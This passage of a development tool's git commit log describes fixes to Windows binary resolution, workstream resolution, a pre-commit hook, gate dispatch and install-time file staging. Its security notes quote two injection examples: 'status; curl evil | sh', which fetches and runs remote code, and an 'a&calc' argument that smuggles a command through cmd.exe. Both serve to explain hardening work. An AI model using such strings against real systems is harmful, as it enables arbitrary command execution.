527 Commits

Author	SHA1	Message	Date
Tom Boucher	ac1b6d679f	enhance(#3618): fold fallow-runner onto the canonical binary resolver (epic #3411 Phase 2) (#3633) ... * chore(#3618): fold fallow-runner onto the canonical binary resolver Epic #3411 Phase 2. src/fallow-runner.cts was the fourth divergent implementation of Windows binary resolution the epic enumerated — candidateNames, isExecutableFile, findInPath, findInNodeModules, 40 lines. All four are deleted; resolveFallowBinary is one seam call. Two OPT-IN options were added to resolveExecutableBinary to make the fold behavior-preserving, both defaulting off so Phase 1's callers are byte-identical: prependPaths dirs searched before env.PATH, in order, through the identical per-directory candidate logic. This expresses node_modules/.bin-first precedence without env surgery — the rejected alternative re-introduced the spread-loses-the-proxy hazard the Windows lane caught in Phase 1, at every future call site instead of once. requireExecutable POSIX-only accessSync(X_OK); a no-op on win32 where mode bits do not mean execute. Opt-in rather than default because unconditional X_OK breaks #3445's suite, which stages candidates with plain writeFileSync and never sets an exec bit — the repo bans chmod in tests — so every one would resolve to null on POSIX. Deliberate behavior change on Windows: fallow's prior candidate list ended in a BARE fallow. The seam never tries a bare name there, so an extensionless file beside fallow.cmd is no longer resolved. That is the fix, not a regression — the extensionless file is npm's POSIX sh shim, which CreateProcess cannot run (#3275). Rows 7 and 8 of the design record it. Defect found while working, fixed inline: the resolution order was documented BACKWARDS as PATH-then-.bin in structural-pre-pass.md, docs/INVENTORY.md and four INVENTORY translations. The code has always been .bin first, and .bin first is correct — a project-local tool should beat a global one. The archived changeset is left alone as a historical record. fallow-runner had no test file at all. tests/fallow-runner.test.cjs is new (F1-F15) and the seam options are pinned by S1-S12 folded into the existing dispatch suite. RED proven by execution: with both source files stashed and build:lib re-run, 7 of 27 probe cases failed. Refs #3411 * chore(#3618): backfill changeset pr number 3633 * fix(#3618): assert both platform contracts in F4 instead of a POSIX-only premise Windows CI on #3633 failed F4. The test monkeypatched accessSync to throw and asserted resolveFallowBinary returned null — but that premise, that the X_OK check is consulted at all, is POSIX-only by design. requireExecutable is a deliberate no-op on win32 because Windows mode bits do not mean execute, so the staged fixture correctly resolved there. 40-design.md's negative-space section already states this carve-out verbatim. The test contradicted the design it was written from: fixtures were made platform-adaptive in the previous commit, and this assertion was left platform-blind. F4 now asserts BOTH contracts — null on POSIX, resolves on win32 — rather than skipping either. A t.skip on one lane would have been green and would have left the win32 carve-out unpinned by fallow's own entry point. Audited every other row for the same class. F1-F3, F5, F6, F11-F15 hold on both platforms; F7-F10 and S1-S12 inject platform explicitly and are unaffected. F4 was the only row with a single-platform premise. The local probe runs on one platform and structurally cannot catch this, which is why it was green — that limitation is now stated at the top of the probe so a green probe is not mistaken for platform coverage. The win32 branch was proven by injecting platform:'win32' with accessSync throwing and asserting it still resolves. Refs #3411 --------- Co-authored-by: sim <sim@local>	2026-08-18 15:32:57 -04:00
Tom Boucher	bf87dd4156	enhance(#3617): one canonical Windows binary resolver in the platform seam (epic #3411 Phase 1) (#3621) ... * feat(#3411): one canonical Windows binary resolver in the platform seam CONTEXT.md declares src/shell-command-projection.cts the single OS-facing seam, but Windows binary resolution had grown four divergent implementations outside it. #3445 folded two of them together — inside gsd-core/bin/gsd-tools.cjs, not the seam — so the declaration stayed untrue and execTool still had no handling at all. Lift the resolver into the seam as resolveExecutableBinary, and export the half that actually executes as projectSpawnInvocation: CreateProcess cannot run a .cmd/.bat, so the cmd.exe mediation is inseparable from the lookup and splitting them is how the copies accumulated. cmd.exe is invoked with an explicit argv array, never shell:true — CVE-2024-27980's vector and Node 26's DEP0190. execTool now resolves on win32. POSIX is a strict no-op by construction, which matters: execTool rates CRITICAL blast radius (167 symbols, 53 files). gsd-tools.cjs deletes its private scan and its private mediation and delegates. Two semantics grown beyond #3445's resolver, both additive: a name already carrying a PATHEXT-listed extension is tried as-is before the append loop, and a suffix outside PATHEXT is not treated as an extension. Refs #3411 * fix(#3411): keep mediating a declared .cmd that PATH resolution misses Standards review caught a narrowing against the code this replaces. gsd-tools.cjs computed `target = resolveSpawnBinary(binary) || binary` and keyed the shim test on `target`, so a declared .cmd mediated whether or not PATH resolution found it. That is load-bearing: resolveExecutableBinary scans PATH only, while `cmd.exe /c` also finds a batch file in the current directory. Mediation now keys on the target — resolved path, else declared name. The ENOENT contract still holds for BARE unresolved names, which is the case it was written for. P9/P10 pin both halves. Spec review found E1/E2/E3/E5 promised by 50-test-matrix.md but never written; added. E3 is the integration proof that the CVE-relevant mediation fires through execTool, not only through projectSpawnInvocation in isolation. Also adds the CONTEXT.md glossary entry for the seam's new resolution ownership (a PR gate) and the changeset fragment. Refs #3411 * fix(#3617): pass mediated cmd.exe arguments verbatim so metacharacters cannot inject The isolated security pass found the mediation shape carried an argument-injection surface. libuv's quote_cmd_arg force-quotes an argv element only when it contains a space, tab, or quote — never for a cmd metacharacter — and cmd.exe re-parses everything after /c. So an arg of a&calc arrived unquoted and cmd ran calc. Node's own CVE-2024-27980 escaping cannot help: it fires only when the spawned FILE is the .bat/.cmd, and here the file is cmd.exe. Caret-escaping is not a fix. It is correct only when libuv does not quote, and libuv quotes whenever the arg also contains a space — no per-arg transform is right in both cases. So build the command line and pass it through verbatim, the shape Rust's std adopted for the sibling CVE-2024-24576: one outer quote pair that cmd /c strips, every token inside force-quoted, embedded quotes doubled. An argument containing CR or LF is refused rather than mediated — a newline cannot be represented in a Windows command line, so mediating would silently truncate. Failing visibly is correct. Known limit, documented at the seam: %VAR% still expands inside a /c string and has no escape outside a batch file. That is information disclosure, not arbitrary execution, and is the same limit Rust's std documents. This was byte-for-byte the shape #3445 shipped, so the fix closes it for the reviewer-lane spawn path too, not only for execTool's newly reachable route. Refs #3411 * docs(#3617): document the subprocess-execution security posture Adds Layer 4 to the security model: why GSD never uses shell:true for binary invocation (CVE-2024-27980, Node 26 DEP0190), why resolution is explicit and never tries the bare name on Windows (the npm extensionless-shim trap behind #3275), and why .cmd/.bat mediation builds a verbatim force-quoted command line rather than relying on default escaping — Node's own CVE protection cannot fire once the started program is cmd.exe. The residual %VAR% expansion limit is stated plainly under Trade-offs rather than left implicit: it is information disclosure, not arbitrary execution, and callers passing untrusted text to a Windows .cmd should not assume the value arrives byte-identical. Docs-only; no code change. Refs #3411 * chore(#3617): backfill changeset pr number 3621 * fix(#3617): read PATH, PATHEXT and ComSpec case-insensitively The Windows CI lane on #3621 failed E5, and the root cause was a defect in the implementation, not the assertion. Windows names the variable Path, not PATH. process.env is a case-insensitive proxy, so process.env.PATH works — but execTool builds { ...process.env, ...opts.env } whenever a caller supplies opts.env, and spreading discards the proxy while keeping the OS's actual casing. The exact-case env['PATH'] lookup then returned undefined, the PATH scan saw zero segments, resolution returned null, and the change degraded to precisely the spawn ENOENT it exists to fix. ComSpec and PATHEXT had the same exposure. #3445's tests never caught it because they pass uppercase keys explicitly, and neither did the Linux remote runner — this is a defect only the Windows lane could see. _envGet resolves a variable by exact match first (so a canonical caller pays no scan) and falls back to a case-insensitive sweep. R23 and P16 pin it and were proven RED by execution: with the fix stashed and build:lib re-run, R23 returned null and P16 returned the cmd.exe default. R24 was rewritten because the first version was vacuous — it staged foo.CMD, so the default PATHEXT already contained .CMD and it passed against the broken code for the wrong reason. It now stages foo.XYZ, an extension absent from the default, and carries a negative control asserting that dropping the Pathext key yields null. Re-proven RED the same way. E5's assertion was corrected alongside the fix: 'PATH' in options.env expressed the wrong contract. It now checks case-insensitively for the key. Refs #3411 * fix(#3617): execTool spawns the declared name unless mediation is required The Windows full-test lane on #3621 failed tests/graphify.test.cjs — the python3 identity check asserted 'python3' and got the absolute resolved path C:\hostedtoolcache\windows\Python\3.12.10\x64\python3.EXE instead. Those tests are correct and the change was wrong. They pin a long-standing contract — execTool spawns the program name it was given — by spying on spawnSync's first argument, and routing every win32 call through the projected invocation broke it. Resolving a .exe buys nothing. libuv's CreateProcess path already performs PATH + PATHEXT search, which is why spawning a bare 'node' has always worked on Windows. The only case the OS genuinely cannot spawn is a .cmd/.bat. So execTool now adopts the projection only when mediation actually happened — windowsVerbatimArguments is exactly that flag — and otherwise passes the declared program and args through untouched. 40-design.md already rejected gratuitous change for this reason: symmetry is not worth a behavior change to 53 files that fixes nothing. That reasoning was applied to POSIX and missed the win32 non-batch case. Rows 5 and 20 now record it, and the CONTEXT.md glossary states the caller-choice rule. deps.spawn deliberately still adopts the resolved path: its hasBinary probe answers from the same resolver, so probe and spawn must agree on the exact file (#3445). The asymmetry is now documented at both call sites rather than latent. E7 pins the restored contract and was verified by executing execTool against a monkeypatched spawnSync: python3 in, python3 spawned. Refs #3411 --------- Co-authored-by: sim <sim@local>	2026-08-18 14:12:44 -04:00
Tom Boucher	9de4d67118	fix(#3579): a pointer-less session inherits the repo active-workstream marker (#3616) ... * test(3579): failing-first coverage for repo-marker inheritance A session that carries an identity but has never run 'workstream use' reads an absent session pointer, resolves null, and composes the flat .planning tree even when .planning/active-workstream names a live workstream. These tests fail on that and pin the invariants the fix must not break: a session with its own pointer is never repointed, and a session that merely lacked a pointer must never clear the shared marker on another session's behalf. * fix(3579): a pointer-less session inherits the repo active-workstream marker RED proven at 157cae26: the three inheritance tests failed while every isolation and negative control passed on base — the gap, and nothing else. pickActiveWorkstreamAdapter returned exactly ONE adapter: the session-scoped one whenever a session key existed, so the shared .planning/active-workstream marker was never consulted. getWorkstreamSessionKey resolves a key from ~13 env vars or the controlling TTY, so on any normal interactive terminal a key almost always exists — which is why a session that had never run 'workstream use' read an absent pointer, resolved null, and composed the FLAT planning tree even though the repo marker named a live workstream. Reads misreported; writes corrupted the superseded flat STATE. Silent, because the stale tree is well-formed. This was a genuine design fork, not an oversight: references/workstream-flag.md documented step 4 as a fallback 'when no session key exists', and the session isolation that buys is deliberate (#2850). The issue's Agent Brief left the choice open and said the reference doc should match whatever semantics ship. The maintainer ruled in chat for inheritance. Resolution now walks an ORDERED chain — session adapter first, shared second — and only a null from the session adapter falls through to the marker. Strictly additive: it can only turn a null into a name, never change a name that already resolves. The dangerous part is clear() ownership. resolveFromChain treats chain[0] as owned: only it is ever cleared, and only under selfHeal (getActiveWorkstream, never peek). An INHERITED marker is read-only — a stale value there resolves null and the file is left alone. Without that, one pointer-less session's read would delete the repo marker for every other session, which is a worse bug than the one being fixed. Covered by a test that asserts the marker still exists on disk after such a read. peekActiveWorkstream inherits but still mutates nothing (#2850 — the statusline draws on every render). references/workstream-flag.md's Resolution Priority is rewritten to match, keeping the session-isolation rationale and noting that inheritance does not weaken it: a session that owns a pointer is never repointed. Fixes #3579 * fix(3579): correct the guard diagnostics and lock the clear-semantics Three review passes; every finding fixed inline. MISSING ACCEPTANCE CRITERION (spec pass). The brief requires refusal diagnostics that distinguish 'marker present but the session lookup missed it' from 'no workstream set at all', and the two workstream-mode fail-safe guards were byte-for-byte untouched — still emitting a generic 'no active workstream is set' even when a marker exists and merely names a missing directory. Both guards (cmdPhaseComplete, cmdInitProgress) now branch on a new read-only diagnoseUnresolvedActiveWorkstream, which reuses the SAME resolvesToExistingWorkstream predicate resolveFromChain uses, so the diagnosis and the resolution cannot disagree. Two typed reasons added to ERROR_REASON; both arms still refuse — the fail-closed behavior is unchanged, only the message is now true. REAL TEST FAILURE, not a flake. The remote run failed 'clearing one session does not clear another session pointer'. That describe uses before() rather than beforeEach, so one tmpDir is shared and an earlier test writes active-workstream=beta into it; under inheritance the just-cleared session picks that marker up and resolves beta instead of null. The failure is a CORRECT consequence of Option A surfaced through an order-dependent fixture. The test now establishes its own marker state explicitly — its real intent (clearing A must not disturb B's pointer) is preserved and not weakened — and a new test pins the semantic deliberately: clearing a session pointer returns that session to INHERITING the marker, it does not force flat mode. Documented in references/workstream-flag.md, including how to actually get flat behavior. Also from review: partial activeWorkstreamAdapters injection no longer silently synthesizes a REAL filesystem adapter for the missing half (a latent test-isolation trap); the duplicated validate-then-existsSync logic is factored into one predicate; and the two try/finally test bodies are converted to t.after per CONTRIBUTING. New coverage: whitespace/empty shared marker; a session whose OWN pointer is stale while the marker names a different valid workstream (must self-heal to null, never inherit — the isolation guarantee at its sharpest); and both new diagnostic arms asserted on structured --json-errors output rather than prose. * fix(3579): read resolvability with the non-mutating peek, not the self-healing resolver Three of our own new tests failed on 7f5e706a. All three had ONE root cause, and none was fixed by relaxing an assertion. gsd-tools.cjs's bootstrap called the MUTATING getActiveWorkstream unconditionally on every invocation, purely to populate routing env. On an unresolvable pointer that self-healed — cleared it — BEFORE the dispatched command ran its own resolution. A second read in the same process then observed already-cleared state: - Isolation violation: a session whose own pointer was stale had it cleared by the bootstrap, so cmdWorkstreamGet's own resolution found a pointer-LESS session and inherited the shared marker ('beta' instead of null). Exactly the guarantee #2850 exists to protect, defeated across two calls rather than within one. - Guard diagnostics: the guards' own truthiness check also used the mutating resolver, so it cleared the invalid marker and the immediately-following read-only diagnosis found nothing and reported none_active instead of marker_unresolved. So a single invocation's answer depended on how many times it resolved. The bootstrap self-heal is PRE-EXISTING and was harmless while pointer-less meant flat — inheritance is what made it answer-changing, so this fix belongs here. Every call site that only CHECKS resolvability — the bootstrap, both fail-safe guards' truthiness check, and two informational init report fields — now uses the non-mutating peekActiveWorkstream. Self-heal is unchanged in active-workstream-store and still fires exactly once, at whichever site actually consumes the workstream. Verified by driving the real CLI against temp fixtures, since the suite cannot run locally: stale-own-pointer resolves null with the marker intact; both guard arms report marker_unresolved with missing_workstream_dir / invalid_name and the marker survives; no-marker still reports none_active; identity-less self-heal still deletes an invalid marker byte-identically to pre-#3579; and a session with a valid own pointer still wins. * chore(3579): backfill changeset PR number (#3616) * test(3579): kill the surviving mutants in the new resolution code CI's Stryker gate failed: active-workstream-store scored 79.45% against a break threshold of 80 — 259 killed, 67 survived, at 'Ran 1.00 tests per mutant on average'. The survivors cluster in the code this PR added (pickActiveWorkstreamAdapterChain, resolvesToExistingWorkstream, resolveFromChain, diagnoseUnresolvedActiveWorkstream): the CLI-level tests exercise those paths but do not DISCRIMINATE their branches, which is precisely what a surviving mutant means. Raised by strengthening assertions, never by touching the threshold. 21 unit tests added to the existing unit suite, each written to fail under a specific named mutant, using the module's injected adapter seams and createMemoryPointerAdapter so they stay hermetic under Stryker's per-mutant reruns: - chain shape with and without a session key, asserting length AND element identity (kills the if(false), the ': []' array mutant, and the block removal) - partial adapter injection, asserting the missing half is an inert memory adapter that never touches the filesystem (kills the three '??' -> '&&' mutants) - both arms of '!name || !validateWorkstreamName(name)' as SEPARATE tests — an absent name and a non-empty invalid one — which is what kills the '||' -> '&&' mutant - self-heal discrimination: getActiveWorkstream must clear an unresolvable owned pointer and peekActiveWorkstream must not, asserted on adapter state after each (kills if(selfHeal) -> if(true)) - fallback arm both ways: a fallback that resolves and one that does not - diagnoseUnresolvedActiveWorkstream asserted as a full object per case, with the reason strings compared exactly (kills present:true -> false and both StringLiteral mutants) One mutant is deliberately left: 'if (chain.length === 0)' -> 'if (false)'. The branch is structurally unreachable — the only chain source always returns a 1- or 2-element array literal — and resolveFromChain is not exported. Killing it would mean exporting an internal or deleting a defensive guard; neither is worth doing for a mutant, and the score clears 80 without it. Recorded here rather than left unexplained. Every new assertion was evaluated against the built module with real fixtures before committing, since the suite cannot run locally. --------- Co-authored-by: sim <sim@local>	2026-08-18 11:37:44 -04:00
Tom Boucher	fe64704ace	enhance(#3588): add an opt-in commit_docs pre-commit hook (#3609) ... * feat(#3588): add an opt-in commit_docs pre-commit hook Final phase of epic #2292, scope narrowed to opt-in by maintainer decision: default-on installation and the bin/install.js wiring it would have required are explicitly out of scope. Enabling is an explicit verb call. The hook is written to the repo's real hooks dir resolved via git rev-parse --git-path hooks, so a linked worktree or submodule whose .git is a FILE works rather than getting a literal .git/hooks path. It refuses rather than overwrite a foreign pre-commit, refuses to delete one it did not write, and refuses outright when core.hooksPath is already set -- a written-but-ignored hook is worse than a refusal. Ownership is detected by marker presence, not byte-equality, so a user who appends a line does not make it unrecognizable. Deliberately NOT included: teaching cmdCheckCommit the per-phase commit_docs tier. #3587 was still unmerged when this landed, and implementing precedence against helpers that did not yet exist would have meant a second copy of the resolution chain -- the divergence class this epic has spent three phases fighting. That follows as its own change now that #3587 is on next. The ordering constraint is recorded in the design doc: this must not merge before #3587, or the hook would block a commit cmdCommit itself allows. * fix(#3588): teach the commit_docs guard the per-phase tier and -z paths Part 1, deferred until #3587 merged. cmdCheckCommit read only project-level commit_docs, so once #3587 landed, a phase with phase_commit_docs true under project false was ALLOWED by query commit and BLOCKED by this guard -- and the hook shipped in this same branch shells out to it. It now derives the staged phase via the single-owner detectPhaseNumberFromFiles and resolves through #3587's own resolveCommitDocsPolicy rather than a second precedence copy. Also fixes a proven false negative in the harm direction. git diff --cached --name-only C-style-quotes any path with non-ASCII or special characters, so a staged .planning/cafe.md was emitted as a quoted string, failed startsWith('.planning/'), and slipped past the guard entirely under commit_docs:false. Reading with -z and splitting on NUL removes the quoting at the source. The f.startsWith('.planning\\') branch was dead code under that read -- git emits /-separated paths on every platform -- and is removed rather than left implying coverage it never provided. The earlier C7 test pinned the buggy behavior as intended; it now asserts the file is detected and the commit refused. Self-caught: the commit-docs-guard verb was wired into the routers by this branch's earlier pass but missing from the top-level help listing. * test(#3588): replace try/finally with t.after, add negative-routing cases Standards review findings. CONTRIBUTING bans try/finally inside a test body outright -- it masks failures -- and B8 used one for worktree cleanup. Now t.after(), assertions unchanged. The new commit-docs-guard command family had zero negative-routing coverage, which CONTRIBUTING requires for any change to command dispatch. B11-B15 cover no subcommand, unknown, empty string, whitespace-only and a flag-shaped value, each asserting non-zero exit, a structured error, no stack trace, and -- the one that matters for a command that writes into a user's repo -- that NO hook is written in any of them. Those tests were verified to fail when routeCommitDocsGuard's else-branch is neutered, so they exercise the routing guard rather than any convenient error path. Also made two error() calls' control flow explicit with a return; they were safe only because error() is typed never two files away. * chore(#3588): backfill changeset pr number to 3609 * test(#3588): skip Windows-unrepresentable fixtures on win32 CI's Windows shards caught two of my own tests: fixtures whose filenames contain a quote and a backslash. Both are illegal on Windows -- backslash is the path separator, quote is invalid on NTFS -- so fixture creation failed before any assertion ran. Test-portability defect, not a production one. Those inputs cannot exist on that platform, so the guard has nothing to detect there. Both now check process.platform FIRST, before any fs or git call, and use t.skip() rather than a bare return -- a bare return registers as a PASS and would hide the gap it is meant to record. Each carries a comment saying the input is unrepresentable rather than unverified, so nobody later re-enables it. No padding added: the cafe.md case already exercises git's C-quoting path on every platform, since non-ASCII names are legal on NTFS. This is exactly the coverage the Linux-only remote matrix cannot provide, which the PR body already stated -- CI's Windows shards are what caught it. --------- Co-authored-by: sim <sim@local>	2026-08-18 00:25:32 -04:00
Tom Boucher	fba3b9c24f	fix(#3559): dispatch every ship:pre capability gate, not two hardcoded capIds (#3608) ... * test(3559): failing-first coverage for generic ship:pre gate dispatch ship.md's preflight resolves every active ship:pre gate then enforces exactly two hardcoded capability IDs, so a third-party capability's blocking gate is resolved, evaluable, and silently dropped. These tests fail on that dispatch dead-end and pin the generic evaluator contract the fix will drive. * fix(3559): dispatch every ship:pre gate generically, not two hardcoded capIds ship.md's preflight resolved every active ship:pre gate via render-hooks and then enforced exactly two capability IDs — security and broken-windows. Every other capId, including any third-party capability's blocking gate, was resolved, evaluable, and silently dropped: a phase shipped past its own declared failing gate with nothing evaluated and nothing warned. Preflight now iterates every active kind=="gate" entry in array order, dispatching by check shape through the generic evaluator (gsd_run check predicate, ADR-2008) and honoring each gate's own blocking and onError — the contract execute:wave:post, execute:post and plan:post already implement and references/loop-hook-dispatch.md already specifies. docs/how-to/command-exit-zero-gate.md already documented ship:pre as auto-dispatching, so this restores documented behavior rather than changing it. security and broken-windows are retained verbatim as named specializations INSIDE the loop, so their bespoke fail-closed reads are unchanged and every gate is visited exactly once — no double-enforcement is representable. Also corrects two CONTEXT.md predicates that described the hardcoded shape, and the test file's header note claiming ship:pre has no runnable evaluator (stale since #2008). Fixes #3559 * fix(3559): validate third-party gate checks in-context before any shell use Adversarial + security review of the generic dispatch arm this PR introduces. SECURITY (introduced by this PR): the new every-other-capId arm is the first path on which a THIRD-PARTY capability manifest string reaches a shell at ship:pre — before it, dispatch never left the two first-party arms. gates[].check is not one of the four executable surfaces the install consent prompt discloses (hooks, command modules, mcpServers, reviewer lanes), so a capability can be consented to as declarative-only and still reach a shell here. An unvalidated check.query of 'status; curl evil | sh' would be interpolated straight into a command substitution. The arm now carries the same in-context validation contract loop-hook-dispatch.md already mandates for ref.command, and the predicate arm is specified as a single argv element so an apostrophe cannot close the literal. TESTS: the first-cut regression tests only asserted that the shared loop phrase and the evaluator substrings co-occurred. A partial regression that kept the phrase but deleted the default arm would have passed them. Added a structural assertion that a distinguishable catch-all arm exists, comes after every named branch, and is where the generic evaluator is actually invoked. REFERENCE DRIFT: loop-hook-dispatch.md documented onError as skip/'fail', but the generated registry, all 35 manifest declarations, and all four dispatch sites use skip/halt — 'fail' appears nowhere. Corrected, since this PR newly cites that doc as ship.md's authority. Also notes the named-query arg convention's provenance (mirrors verify:pre verbatim; no capability declares a ship:pre query gate today). * fix(3559): close the same gate-check injection at all four sibling dispatch sites Maintainer directed fixing the sibling sites inline rather than filing them. The command-injection surface fixed at ship:pre is a FAMILY property, not a site property: every workflow that interpolates a manifest-supplied check.query into a shell command substitution has it. Root cause is in the contract, not the sites — references/loop-hook-dispatch.md mandates in-context validation for step -> ref.command and OMITS the same requirement for gate, so all four gate consumers inherited an unstated rule. Closed at the source (the reference's gate section now carries the rule) and at every consumer: execute-phase.md execute:wave:post, execute:post plan-phase.md plan:post verify-work.md verify:pre ship.md ship:pre (already hardened in a2d84a77) TESTS: section 6 enumerates the family by DISCOVERY, not by a hardcoded list, so a new dispatch site added later without the validation contract fails instead of shipping — the same 'hardcoded list silently misses members' mistake #3559 itself was. It asserts, per discovered site, that the charset is pinned, that validation is specified as in-context, and that the rule appears BEFORE the interpolation it guards (an executing agent reads top-down). A floor assertion fails the section if the discovery regex ever stops matching, so it cannot pass vacuously. Two further tests pin the reference's gate section and the halt/skip onError vocabulary. Sizes all within tier caps: execute-phase 94378/98304, plan-phase 91008/98304, verify-work 39488/61440, ship 38067/40960. Drift acks amended for each. * fix(3559): fit the validation mandate under the frozen pre-phase-6 ceiling The previous commit blew tests/claude-orchestration.test.cjs's frozen ADR-857 pre-phase-6 ceiling for execute-phase.md (93600): the file had only 209 bytes of headroom and the inline validation paragraph added 987. That ceiling is a ratchet proving Phase 6 extraction happened — raising it is never the answer. Restructured so the RULE lives once, in the reference's gate section (charset, in-context, single-argv, and the consent-surface rationale), and each of the five dispatch sites carries a terse mandate plus a pointer to it. That is strictly better than five verbatim restatements: this PR exists partly because the reference and its implementations had already drifted apart on the onError vocabulary, and five copies of a security rule is that same failure waiting to recur. execute-phase.md already eagerly inlines the reference (@-form at its step-hook dispatch), so an executing agent has the full rule in context regardless. Also reclaimed genuinely duplicated bytes at the execute:post site, whose prose restated both commands the fenced block immediately below already shows, and whose tail restated the two-step contract that the execute:wave:post site spells out in full. Net sizes vs origin/next: execute-phase.md 93365 (-26, SHRINKS) pre-phase-6 93600, margin 235 (was 209) plan-phase.md 90627 (+111) tier cap 98304 verify-work.md 39107 (+111) tier cap 61440 ship.md 36784 (+3058) tier cap 40960 Because execute-phase.md now shrinks, its drift-ack entry was reverted — an ack that is never consumed is reported as STALE and fails the check. The other three acks carry corrected byte figures. Tests follow the same split: section 6 asserts the mandate + pointer per discovered site and the full rule in the reference; section 5's security test drops the inline charset assertion it can no longer make of ship.md. * fix(3559): repair an over-escaped regex in the security assertion /loop-hook-dispatch\\.md/ matched a literal backslash before .md, so it could never match and the [security] assertion failed on the remote runner even though the prose it checks was correct. The over-escaping came from nesting a regex through a shell string into a node -e script; the sibling literal in section 6, written via a quoted heredoc, was unaffected. The reason this reached the runner at all is that the local check re-typed the regex by hand instead of executing the one in the file, so it validated a different pattern than the test used. Replaced that habit with two harnesses that read the literals FROM the source: one asserts every regex literal in the file matches something in the real workflow/reference corpus (catching over-escaping generically), the other evaluates the [security] and section-6 literals against their actual targets. * chore(3559): backfill changeset PR number (#3608) --------- Co-authored-by: sim <sim@local>	2026-08-17 22:28:05 -04:00
Tom Boucher	debeabd524	enhance(#3587): add a per-phase commit_docs override (#3601) ... * feat(#3587): add a per-phase commit_docs override Delivers epic #2292's second user story: commit an architecture phase's artifacts while execution phases stay local. commit_docs was project-wide and binary, so the only choices were all phases or none. Shape is a config dynamic key phase_commit_docs.<phase-id>, following the 14 existing dynamicKeyPatterns precedents rather than inventing a PLAN.md frontmatter spec -- which #2292 itself flags as becoming its own maintenance surface. Tier 1 resolves in cmdCommit, NOT in loadConfig: loadConfig has no phase context and is called by nearly every command, so threading one through it to serve a single caller would be a far larger blast radius for no gain. The phase comes from detectPhaseNumberFromFiles, which cmdCommit already computes for branch naming and which is already hardened against the #2539 project-code bug. Suppression by the per-phase tier returns its own reason rather than reusing skipped_commit_docs_false -- telling a user their project setting is false when it is true would be actively misleading. Additive; the two existing reason strings that agents/gsd-executor.md matches on are unchanged. The manifest's phase-id pattern is a hand-copy of PHASE_NUMBER_TOKEN_SOURCE because the manifest is hand-maintained JSON, so a behavioral parity test asserts both surfaces accept and reject the same token shapes. * fix(#3587): fold tests, close review findings, update reference docs Fold: the new tests were added as their own file, which required loosening a grandfathered lint-test-file-count bucket 5-to-6. A ratchet exists to go down only. commit-docs-bypass.test.cjs is the established commit_docs test home and already hosts two folded suites, so the tests fold there as a third block and the allowlist is reverted untouched. Standards review: CONTEXT.md and the test header both cited a phase-commit-docs-manifest-parity.test.cjs that never existed; a repo-wide sweep found a fourth stale cite in the schema manifest description. All four now name the real location. Spec review: the issue's Scope of changes named planning-config.md and git-planning-commit.md and neither was touched. Both now document the four-tier precedence and the new skip reason. Security review, minor and unproven: detectPhaseNumberFromFiles returns the FIRST matching path's phase, so a --files list spanning two phases resolves the override against whichever comes first. That helper is hardened and widely used, so it is not changed; the behavior is pinned by a named test and disclosed in the design and user docs. A pinned behavior is not a bug; an unpinned surprise is. * chore(#3587): backfill changeset pr number to 3601 --------- Co-authored-by: sim <sim@local>	2026-08-17 21:59:40 -04:00
Tom Boucher	3ab0007164	enh(#2875): materialization primitives — durable user-artifact staging and descriptor-authoritative agents (#3600) ... * fix(#2875): stage user artifacts durably across install wipes (#1874-F19) preserveUserArtifacts held user files only in an in-memory Map across the wipe, so any process death between preserve and restore lost them outright. Seven call sites, not the four the issue records. Three of them never called the helper at all - they open-coded the same read/wipe/write - so searching for callers under-counted by construction; the extra sites were found by sweeping for the pattern instead. The worst is the mainline install path, where the crash window spans the entire gsd-core tree copy rather than a single rmSync. Adds src/user-artifact-staging.cts: durable on-disk staging with a record written after the copies land as the commit point, plus recovery of orphaned batches on the next run - without recovery the staged bytes survive but the user's file is still gone, which would pass its own test while delivering nothing. Routes copyPreservingSymlink through installFs() so staging cannot bypass the install fs seam, and reunites its symlink-safety docblock with the function it documents. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * docs(#2875): amend ADR-3574 with four claims disproved by implementation Implementing Phase 6 disproved four statements the ADR rests on. The central decision - no single materializer - is unaffected and stands. Corrected: decision 3 was already satisfied, so nothing was extracted; the agents-bypass runtime set omitted claude, kilo and opencode, and closing it needed three new pieces of descriptor contract rather than proceeding on its own terms; three of the four blockers the layout comment names were already stale; and F19 is seven call sites, not four. Records the generalizable lesson: the defect is the pattern of holding user data in memory across a wipe, not the helper, so searching for callers of the helper under-counts by construction. Also resolves the ADR's open question on USER_OWNED_ARTIFACTS membership, and notes that copyPreservingSymlink needed routing through the install fs seam before it could be reused. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(#2875): close dangling-symlink blind spot and harden staging recovery An adversarial review found the F19 staging work shipped red and unsafe. Root cause, shared by two arbitrary-write findings: hasExistingSymlinkBetween missed dangling symlinks in both its root check and its per-segment walk, because it probed with existsSync, which is false for a link whose target does not exist. Fixing only the new module would have reused a guard that was itself blind. This guard protects the whole install tree. Recovery no longer throws: it degrades per entry and per file, so one bad batch cannot block the others. Previously an unrecoverable entry propagated out of the first statement of install and uninstall, before the cleanup that would have removed it - wedging the installer permanently. Partial fs adapters now throw on any omitted method instead of silently reaching the real filesystem, closing the trap that let a test poison list pass while real IO happened. Staged names must be flat, recovery refuses a dangling destination symlink, and a batch whose recovery genuinely failed is no longer swept - it was discarding the only durable copy of the file it had just failed to restore. Replaces three tests that could not fail, including the one labelled negative proof. Known limitation, documented not closed: concurrent installs sharing a staging key can still lose a batch. A real fix needs a cross-process lock. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * enh(#2875): make the descriptor authoritative for the agents kind Deletes the inline agent-staging loop in bin/install.js and the _DESCRIPTOR_AGENTS_RUNTIMES set, so every runtime materializes agents from its capability descriptor instead of an inline hostBehaviors dispatch. Closing it needed three pieces of contract the descriptor pipeline never had, all reducible to one missing input - per-agent resolution context: a frontmatter-extensions step for claude's effort and disallowedTools, per-agent model-override resolution for kilo and opencode, and a named branding converter for hermes, whose rewrite data was already declared. Seven runtimes were on the loop, not the six the design recorded - kimi-code was found by a golden fixture, not by analysis. claude-local and kimi-code both silently lost their agents mid-change; the fixtures caught both and the cause was fixed rather than the fixtures regenerated. A parity harness gates the migration: both pipelines over identical inputs, byte-identical output including filenames, per runtime. It is demonstrated red before being trusted. Surface and install paths converge for all seven, which also fixes surface previously writing no agents for these runtimes. Codex's config.toml strip stays put - it mutates host config, which no descriptor kind models. Also routes install-model-override-resolver and install-effort-resolver through the install fs seam. Both leaked real filesystem IO from the install call tree; the stricter adapter is what exposed them. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * docs(#2875): record the agents-descriptor migration and correct the ADR count The _DESCRIPTOR_AGENTS_RUNTIMES allow-list no longer exists, so the host integration guide told readers to join a set that is gone. Replaces that with what is now true - declare an agents entry and it 